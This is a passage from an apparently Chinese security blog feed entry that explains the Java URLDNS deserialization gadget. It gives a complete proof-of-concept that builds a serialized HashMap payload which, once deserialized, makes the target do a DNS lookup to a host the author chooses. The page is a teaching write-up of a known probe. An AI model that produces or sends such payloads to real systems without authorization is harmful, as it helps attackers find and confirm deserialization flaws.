<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-java" data-lang="java"><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">main</span>(String<span style="color:#f92672">[]</span> args) <span style="color:#66d9ef">throws</span> Exception {
</span></span><span style="display:flex;"><span>        HashMap map <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> HashMap();
</span></span><span style="display:flex;"><span>        URL url <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> URL(<span style="color:#e6db74">&#34;http://xrgsnqezso.yutu.eu.org&#34;</span>);
</span></span><span style="display:flex;"><span>        Field f <span style="color:#f92672">=</span> Class.<span style="color:#a6e22e">forName</span>(<span style="color:#e6db74">&#34;java.net.URL&#34;</span>).<span style="color:#a6e22e">getDeclaredField</span>(<span style="color:#e6db74">&#34;hashCode&#34;</span>);
</span></span><span style="display:flex;"><span>        f.<span style="color:#a6e22e">setAccessible</span>(<span style="color:#66d9ef">true</span>); <span style="color:#75715e">//修改访问权限</span>
</span></span><span style="display:flex;"><span>        f.<span style="color:#a6e22e">set</span>(url,123); <span style="color:#75715e">//设置hashCode值为123，这里可以是任何不为-1的数字</span>
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(url.<span style="color:#a6e22e">hashCode</span>()); <span style="color:#75715e">// 获取hashCode的值，验证是否修改成功</span>
</span></span><span style="display:flex;"><span>        map.<span style="color:#a6e22e">put</span>(url,123); <span style="color:#75715e">//调用map.put 此时将不会再触发dns查询</span>
</span></span><span style="display:flex;"><span>    }
</span></span></code></pre></div><p>此时输出url的hashCode为123，证明修改成功。
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/javasec-urldns%e9%93%be_image_2.png" alt="" /></figure>
<p>当put完毕之后再将url的hashCode修改为-1，确保在反序列化调用hashCode方法时能够正常进行，下面是完整的POC</p></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">#</span>URLDNS.<span style="color:#a6e22e">java</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> java.io.FileOutputStream;
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> java.io.ObjectOutputStream;
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> java.lang.reflect.Field;
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> java.net.URL;
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> java.util.HashMap;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span> <span style="color:#66d9ef">class</span> <span style="color:#a6e22e">URLDNS</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">main</span>(String<span style="color:#f92672">[]</span> args) <span style="color:#66d9ef">throws</span> Exception {
</span></span><span style="display:flex;"><span>        HashMap<span style="color:#f92672">&lt;</span>URL, String<span style="color:#f92672">&gt;</span> hashMap <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> HashMap<span style="color:#f92672">&lt;</span>URL, String<span style="color:#f92672">&gt;</span>();
</span></span><span style="display:flex;"><span>        URL url <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> URL(<span style="color:#e6db74">&#34;http://xxxx.xxx.xxx&#34;</span>);
</span></span><span style="display:flex;"><span>        Field f <span style="color:#f92672">=</span> Class.<span style="color:#a6e22e">forName</span>(<span style="color:#e6db74">&#34;java.net.URL&#34;</span>).<span style="color:#a6e22e">getDeclaredField</span>(<span style="color:#e6db74">&#34;hashCode&#34;</span>);
</span></span><span style="display:flex;"><span>        f.<span style="color:#a6e22e">setAccessible</span>(<span style="color:#66d9ef">true</span>);
</span></span><span style="display:flex;"><span>        f.<span style="color:#a6e22e">set</span>(url, 0xdeadbeef); <span style="color:#75715e">// 设一个值, 这样 put 的时候就不会去查询 DNS</span>
</span></span><span style="display:flex;"><span>        hashMap.<span style="color:#a6e22e">put</span>(url, <span style="color:#e6db74">&#34;rmb122&#34;</span>);
</span></span><span style="display:flex;"><span>        f.<span style="color:#a6e22e">set</span>(url, <span style="color:#f92672">-</span>1); <span style="color:#75715e">// hashCode 这个属性不是 transient 的, 所以放进去后设回 -1, 这样在反序列化时就会重新计算 hashCode</span>
</span></span><span style="display:flex;"><span>        ObjectOutputStream oos <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> ObjectOutputStream(<span style="color:#66d9ef">new</span> FileOutputStream(<span style="color:#e6db74">&#34;out.bin&#34;</span>));
</span></span><span style="display:flex;"><span>        oos.<span style="color:#a6e22e">writeObject</span>(hashMap);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">#</span>Test.<span style="color:#a6e22e">java</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> java.io.FileInputStream;
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> java.io.ObjectInputStream;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span> <span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Test</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">main</span>(String<span style="color:#f92672">[]</span> args) <span style="color:#66d9ef">throws</span> Exception {
</span></span><span style="display:flex;"><span>        ObjectInputStream ois <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> ObjectInputStream(<span style="color:#66d9ef">new</span> FileInputStream(<span style="color:#e6db74">&#34;out.bin&#34;</span>));
</span></span><span style="display:flex;"><span>        ois.<span style="color:#a6e22e">readObject</span>();
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>回过头来看看yso的payload</p>
<p>yso在创建URL对象时使用了三个参数的构造方法。yso用了子类继承父类的方式规避了dns查询的风险，其创建了一个内部类：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#66d9ef">static</span> <span style="color:#66d9ef">class</span> <span style="color:#a6e22e">SilentURLStreamHandler</span> <span style="color:#66d9ef">extends</span> URLStreamHandler {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">protected</span> URLConnection <span style="color:#a6e22e">openConnection</span>(URL u) <span style="color:#66d9ef">throws</span> IOException {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">null</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">protected</span> <span style="color:#66d9ef">synchronized</span> InetAddress <span style="color:#a6e22e">getHostAddress</span>(URL u) {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">null</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span></code></pre></div><p>定义了一个URLConnection和getHostAddress方法，当调用put方法走到getHostAddress方法后，会调用SilentURLStreamHandler的getHostAddress而非URLStreamHandler的getHostAddress，这里直接return null了，所以自然也就不会产生dns查询。</p>
<h2 id="参考">参考</h2>
<p><a href="https://d0gekong.github.io/2022/07/13/Java/UrlDNS/" target="_blank" rel="noopener nofollow noreferrer" >urldns | Hack the world</a></p>
<p><a href="https://xz.aliyun.com/t/13060" target="_blank" rel="noopener nofollow noreferrer" >xz.aliyun.com/t/13060</a></p>
]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://l1uyun.one/tags/sec" term="sec" label="sec" />
                            
                        
                    
                
            
        </entry>
    
</feed>
